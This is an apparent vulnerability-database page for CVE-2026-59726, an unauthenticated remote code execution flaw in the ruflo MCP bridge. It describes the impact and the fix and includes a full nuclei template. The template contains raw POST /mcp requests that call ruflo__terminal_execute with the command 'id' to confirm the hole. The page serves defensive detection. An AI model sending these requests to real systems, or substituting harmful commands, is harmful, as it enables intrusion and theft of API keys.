HexBrain

Browse / CVEs / CVE-2026-59726

CVE-2026-59726· ruvnet / ruflo· CWE-78

ruflo MCP Bridge - Unauthenticated RCE via terminal_execute

criticalseverity
9.8CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

ruflo MCP bridge (< 3.16.3) in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces (0.0.0.0:3001). The executeTool() function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with ruflo__terminal_execute, which runs execSync(command) on attacker-supplied input. This yields arbitrary command execution as the node user (uid 1000) inside the bridge container. The blocklist (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) is enforced only in the autopilot SSE handler; POST /mcp and POST /mcp/:group bypass it entirely.

Impact

Unauthenticated remote code execution. An attacker can read provider API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) from the container environment, spawn attacker-controlled swarms on victim keys, and persist poisoned patterns into AgentDB.

Fix

Upgrade ruflo to version 3.16.3 or later which adds DANGEROUS_TOOLS gate in executeTool(), bearer auth middleware (MCP_AUTH_TOKEN), loopback bind by default (BIND_HOST=127.0.0.1), and MCP_ENABLE_TERMINAL opt-in. As interim mitigation, firewall port 3001 and set MCP_AUTH_TOKEN in docker-compose.yml.

How to confirm it

Send: POST /mcp
Positive when: contains(body, "terminal_execute") and status_code == 200
Send: POST /mcp
Positive when: contains_all(body, "uid=", "gid=", "exitCode") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-59726 -u <target>

The full check
id: CVE-2026-59726

info:
  name: ruflo MCP Bridge - Unauthenticated RCE via terminal_execute
  author: DhiyaneshDk
  severity: critical
  description: |
    ruflo MCP bridge (< 3.16.3) in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces (0.0.0.0:3001). The executeTool() function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with ruflo__terminal_execute, which runs execSync(command) on attacker-supplied input. This yields arbitrary command execution as the node user (uid 1000) inside the bridge container. The blocklist (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) is enforced only in the autopilot SSE handler; POST /mcp and POST /mcp/:group bypass it entirely.
  impact: |
    Unauthenticated remote code execution. An attacker can read provider API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) from the container environment, spawn attacker-controlled swarms on victim keys, and persist poisoned patterns into AgentDB.
  remediation: |
    Upgrade ruflo to version 3.16.3 or later which adds DANGEROUS_TOOLS gate in executeTool(), bearer auth middleware (MCP_AUTH_TOKEN), loopback bind by default (BIND_HOST=127.0.0.1), and MCP_ENABLE_TERMINAL opt-in. As interim mitigation, firewall port 3001 and set MCP_AUTH_TOKEN in docker-compose.yml.
  reference:
    - https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59726
    - https://www.pruva.dev/reproductions/REPRO-2026-00315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-59726
    epss-score: 0.03019
    epss-percentile: 0.87555
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: ruvnet
    product: ruflo
  tags: cve,cve2026,ruflo,mcp,rce,unauth,ghsa

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"tools/list","id":1}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "terminal_execute")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"tools/call","id":1,"params":{"name":"ruflo__terminal_execute","arguments":{"command":"id"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "uid=", "gid=", "exitCode")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        group: 0
        regex:
          - 'uid=[0-9]+\([a-z]+\)'

References

Use this check only on systems you are authorised to test. Where the data comes from